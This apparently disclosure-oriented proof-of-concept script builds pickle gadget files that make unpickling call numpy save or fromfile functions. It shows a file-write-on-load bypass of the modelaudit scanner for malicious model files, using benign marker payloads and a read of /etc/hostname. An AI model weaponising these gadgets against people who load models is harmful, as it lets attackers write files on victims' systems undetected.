| |
| """ |
| BL-0102 gadget builder -- modelaudit 0.2.49 numpy.savez / savez_compressed |
| file-write-on-load scanner bypass. |
| |
| Builds four standalone pickle files that each carry a single REDUCE opcode: |
| |
| evil_savez.pkl -> numpy.savez(<out>/MARK_savez, [13.37]) |
| evil_savez_compressed.pkl -> numpy.savez_compressed(<out>/MARK_savezc, [13.37]) |
| control_numpy_save.pkl -> numpy.save(<out>/MARK_save, [13.37]) (POSITIVE CONTROL) |
| secondary_fromfile.pkl -> numpy.fromfile('/etc/hostname') (READ-side corroboration) |
| |
| Payloads are BENIGN: they write a small, valid .npz/.npy marker to an |
| attacker-controlled ABSOLUTE path, or read a world-readable file. No RCE, |
| no network, no destructive action. |
| |
| The REDUCE that pickle emits here is identical to what an attacker would ship |
| inside a .pkl / PyTorch .bin / joblib model file; on unpickle Python calls the |
| first element (numpy.savez) with the second element (the args tuple). |
| |
| Usage: python build_gadgets.py [OUTDIR] (default OUTDIR=/work/final) |
| """ |
| import os |
| import pickle |
| import sys |
|
|
| OUTDIR = sys.argv[1] if len(sys.argv) > 1 else "/work/final" |
| os.makedirs(OUTDIR, exist_ok=True) |
|
|
| MARK_SAVEZ = os.path.join(OUTDIR, "MARK_savez") |
| MARK_SAVEZC = os.path.join(OUTDIR, "MARK_savezc") |
| MARK_SAVE = os.path.join(OUTDIR, "MARK_save") |
| MARKER_CONTENT = [13.37] |
|
|
|
|
| class SavezGadget: |
| def __reduce__(self): |
| import numpy |
| return (numpy.savez, (MARK_SAVEZ, MARKER_CONTENT)) |
|
|
|
|
| class SavezCompressedGadget: |
| def __reduce__(self): |
| import numpy |
| return (numpy.savez_compressed, (MARK_SAVEZC, MARKER_CONTENT)) |
|
|
|
|
| class SaveGadget: |
| |
| |
| def __reduce__(self): |
| import numpy |
| return (numpy.save, (MARK_SAVE, MARKER_CONTENT)) |
|
|
|
|
| class FromfileGadget: |
| |
| |
| def __reduce__(self): |
| import numpy |
| return (numpy.fromfile, ("/etc/hostname",)) |
|
|
|
|
| def emit(name, obj): |
| path = os.path.join(OUTDIR, name) |
| with open(path, "wb") as f: |
| |
| pickle.dump(obj, f, protocol=0) |
| return path |
|
|
|
|
| built = [ |
| emit("evil_savez.pkl", SavezGadget()), |
| emit("evil_savez_compressed.pkl", SavezCompressedGadget()), |
| emit("control_numpy_save.pkl", SaveGadget()), |
| emit("secondary_fromfile.pkl", FromfileGadget()), |
| ] |
|
|
| print("BUILT:") |
| for p in built: |
| print(f" {p} ({os.path.getsize(p)} bytes)") |
|
|
| |
| import pickletools |
|
|
| print("\n=== pickletools.dis(evil_savez.pkl) ===") |
| with open(os.path.join(OUTDIR, "evil_savez.pkl"), "rb") as f: |
| pickletools.dis(f.read()) |
|
|